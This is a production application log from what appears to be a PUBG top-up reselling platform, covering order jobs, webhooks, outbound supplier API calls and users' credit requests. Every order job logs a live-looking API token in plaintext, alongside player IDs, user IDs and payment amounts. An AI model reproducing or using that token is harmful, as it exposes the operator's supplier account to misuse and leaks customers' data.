[2026-03-24 16:12:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-qNvesb3l-1774357789","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:12:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:12:02] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178883} 
[2026-03-24 16:12:02] production.INFO: Order updated successfully. Order ID: 178883, Status: completed  
[2026-03-24 16:12:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qNvesb3l-1774357789","status":"completed","codes_count":0} 
[2026-03-24 16:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02"} 
[2026-03-24 16:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","total_operations":1,"sites_count":1} 
[2026-03-24 16:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-7cYjSHRP-1774357877"]} 
[2026-03-24 16:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:12:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794} 
[2026-03-24 16:12:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:12:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"processed":0,"errors":0} 
[2026-03-24 16:12:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"eIqBdkM2MAjH2OzulvUrcIU5d2Sv3Xp5","execution_time":"2026-03-24 16:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794} 
[2026-03-24 16:12:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:12:15] production.INFO: Constructing job for order: 178885  
[2026-03-24 16:12:18] production.INFO: Handling job for order: 178885  
[2026-03-24 16:12:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:12:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:12:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e172d087-7872-4e9c-88a8-06d678f9e992&Player_ID=52395076184  
[2026-03-24 16:12:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e172d087-7872-4e9c-88a8-06d678f9e992&Player_ID=52395076184","has_body":false} 
[2026-03-24 16:12:18] production.INFO: Operation sent successfully {"operation_id":163795,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-e6YpL-1774357938","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:12:18"}},"processed_data":{"order_number":"ORD-e6YpL-1774357938","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:12:24] production.INFO: Constructing job for order: 178886  
[2026-03-24 16:12:27] production.INFO: Handling job for order: 178886  
[2026-03-24 16:12:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:12:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:12:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=057b665d-c764-44a0-b034-8c37b1007ee0&Player_ID=52109416154  
[2026-03-24 16:12:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=057b665d-c764-44a0-b034-8c37b1007ee0&Player_ID=52109416154","has_body":false} 
[2026-03-24 16:12:28] production.INFO: Operation sent successfully {"operation_id":163796,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uqiuEx-1774357948","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:12:28"}},"processed_data":{"order_number":"ORD-uqiuEx-1774357948","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 16:12:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-e6YpL-1774357938","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:12:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-e6YpL-1774357938","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:12:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:12:29] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178885} 
[2026-03-24 16:12:29] production.INFO: Order updated successfully. Order ID: 178885, Status: completed  
[2026-03-24 16:12:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-e6YpL-1774357938","status":"completed","codes_count":0} 
[2026-03-24 16:12:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 16:12:34] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_rejected","reference_id":178850} 
[2026-03-24 16:12:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 16:12:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 16:12:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-uqiuEx-1774357948","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:12:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-uqiuEx-1774357948","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:12:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:12:38] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"order_approved","reference_id":178886} 
[2026-03-24 16:12:38] production.INFO: Order updated successfully. Order ID: 178886, Status: completed  
[2026-03-24 16:12:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-uqiuEx-1774357948","status":"completed","codes_count":0} 
[2026-03-24 16:12:38] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_rejected","reference_id":178851} 
[2026-03-24 16:12:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 16:12:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 16:12:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 16:13:07] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":178871} 
[2026-03-24 16:13:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 16:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01"} 
[2026-03-24 16:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","total_operations":1,"sites_count":1} 
[2026-03-24 16:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-7cYjSHRP-1774357877"]} 
[2026-03-24 16:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 16:14:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 16:14:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"count":1} 
[2026-03-24 16:14:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"count":1} 
[2026-03-24 16:14:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"user_id":761,"notification_type":"order_approved","reference_id":178884} 
[2026-03-24 16:14:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:14:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:14:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"processed":1,"errors":0} 
[2026-03-24 16:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794,"processed":1,"errors":0} 
[2026-03-24 16:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CZYyXLOQqnfAlSXLivX2kRxZBT0KMxSF","execution_time":"2026-03-24 16:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7cYjSHRP-1774357877","operation_id":163794} 
[2026-03-24 16:14:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 761  
[2026-03-24 16:14:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7cYjSHRP-1774357877","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:14:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-7cYjSHRP-1774357877","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:14:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:14:03] production.ERROR: Order not found or already processed. External ID: ORD-7cYjSHRP-1774357877  
[2026-03-24 16:14:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7cYjSHRP-1774357877","status":"completed","codes_count":0} 
[2026-03-24 16:14:13] production.INFO: Constructing job for order: 178887  
[2026-03-24 16:14:14] production.INFO: Handling job for order: 178887  
[2026-03-24 16:14:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:14:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:14:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b8c88283-8836-405c-bf8b-6f72b43a7e96&Player_ID=5275445909  
[2026-03-24 16:14:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b8c88283-8836-405c-bf8b-6f72b43a7e96&Player_ID=5275445909","has_body":false} 
[2026-03-24 16:14:15] production.INFO: Operation sent successfully {"operation_id":163797,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yg5MJ-1774358054","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:14:15"}},"processed_data":{"order_number":"ORD-yg5MJ-1774358054","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:14:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-yg5MJ-1774358054","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:14:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-yg5MJ-1774358054","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:14:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:14:25] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178887} 
[2026-03-24 16:14:25] production.INFO: Order updated successfully. Order ID: 178887, Status: completed  
[2026-03-24 16:14:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-yg5MJ-1774358054","status":"completed","codes_count":0} 
[2026-03-24 16:14:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:14:53] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":"3903.","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5hvuu55jme0b9jDTr7m"}},"user_id":1726} 
[2026-03-24 16:15:00] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":"3903..","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1bedekinuqgeelUpYme"}},"user_id":1726} 
[2026-03-24 16:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:15:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:15:03] production.INFO: Executing GetProducts task...  
[2026-03-24 16:15:04] production.INFO: async() رجع: true  
[2026-03-24 16:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:15:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:15:07] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":"3903..","note":".","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phps65c6v16699u8226Hce"}},"user_id":1726} 
[2026-03-24 16:15:19] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":"3039.","note":".","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmsrt94ctik2iargtx4Y"}},"user_id":1726} 
[2026-03-24 16:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"i32y3GXI3p31Zw1Dkr7ZLccRTcUdU9jw","execution_time":"2026-03-24 16:16:03"} 
[2026-03-24 16:16:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"i32y3GXI3p31Zw1Dkr7ZLccRTcUdU9jw","execution_time":"2026-03-24 16:16:03"} 
[2026-03-24 16:16:13] production.INFO: Constructing job for order: 178888  
[2026-03-24 16:16:15] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":".3903","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1gnf8remcm3i2coOjDz"}},"user_id":1726} 
[2026-03-24 16:16:15] production.INFO: Handling job for order: 178888  
[2026-03-24 16:16:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:16:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:16:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c4891cde-2fe5-4c6a-8220-45f2e5064fa9&Player_ID=5460205822  
[2026-03-24 16:16:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c4891cde-2fe5-4c6a-8220-45f2e5064fa9&Player_ID=5460205822","has_body":false} 
[2026-03-24 16:16:16] production.INFO: Operation sent successfully {"operation_id":163798,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-H0UQJja-1774358176","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:16:16"}},"processed_data":{"order_number":"ORD-H0UQJja-1774358176","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:16:24] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158399899","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpdp8jk4n3bfaq5oUHxCS"}},"user_id":1414} 
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:16:25] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:16:25] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18646,"user_id":1414,"amount":2000.0,"admins_notified":7} 
[2026-03-24 16:16:28] production.INFO: Creating credit request {"payload":{"method_id":"10","amount":"600.0","mainamount":"600","operation_number":"9903903","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phplm8kejuhg9vv5p5gZNx"}},"user_id":1726} 
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:16:31] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:16:31] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18647,"user_id":1726,"amount":600.0,"admins_notified":7} 
[2026-03-24 16:16:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-H0UQJja-1774358176","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:16:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-H0UQJja-1774358176","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:16:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:16:38] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178888} 
[2026-03-24 16:16:38] production.INFO: Order updated successfully. Order ID: 178888, Status: completed  
[2026-03-24 16:16:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-H0UQJja-1774358176","status":"completed","codes_count":0} 
[2026-03-24 16:16:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:17:45] production.INFO: Constructing job for order: 178889  
[2026-03-24 16:17:46] production.INFO: Handling job for order: 178889  
[2026-03-24 16:17:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:17:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:17:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=36e41627-68e5-486b-a265-476147e4251f&Player_ID=52434087660  
[2026-03-24 16:17:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=36e41627-68e5-486b-a265-476147e4251f&Player_ID=52434087660","has_body":false} 
[2026-03-24 16:17:47] production.INFO: Operation sent successfully {"operation_id":163799,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ofEsx-1774358267","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:17:47"}},"processed_data":{"order_number":"ORD-ofEsx-1774358267","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:17:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ofEsx-1774358267","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:17:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-ofEsx-1774358267","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:17:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:17:59] production.INFO: SendAcceptReject: Notification queued {"user_id":71,"notification_type":"order_approved","reference_id":178889} 
[2026-03-24 16:17:59] production.INFO: Order updated successfully. Order ID: 178889, Status: completed  
[2026-03-24 16:17:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ofEsx-1774358267","status":"completed","codes_count":0} 
[2026-03-24 16:18:01] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"835.0","mainamount":"835","operation_number":"158402077","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpe1p8hjb91lql1fTmXoT"}},"user_id":298} 
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 71  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:18:02] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:18:02] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18648,"user_id":298,"amount":835.0,"admins_notified":7} 
[2026-03-24 16:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vK5C7I2YZQpmV96URwbxV7lrjWifUs55","execution_time":"2026-03-24 16:18:02"} 
[2026-03-24 16:18:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"vK5C7I2YZQpmV96URwbxV7lrjWifUs55","execution_time":"2026-03-24 16:18:02"} 
[2026-03-24 16:18:17] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"10000.0","mainamount":"10000","operation_number":"87532","note":"عند احمد قدرة","currency_id":"2"},"user_id":69} 
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:18:20] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:18:20] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18649,"user_id":69,"amount":10000.0,"admins_notified":7} 
[2026-03-24 16:18:38] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 16:18:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 16:18:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1547  
[2026-03-24 16:19:09] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"440.0","mainamount":"440","operation_number":"158402440","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpje49604isqte6mTkC58"}},"user_id":1706} 
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:19:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
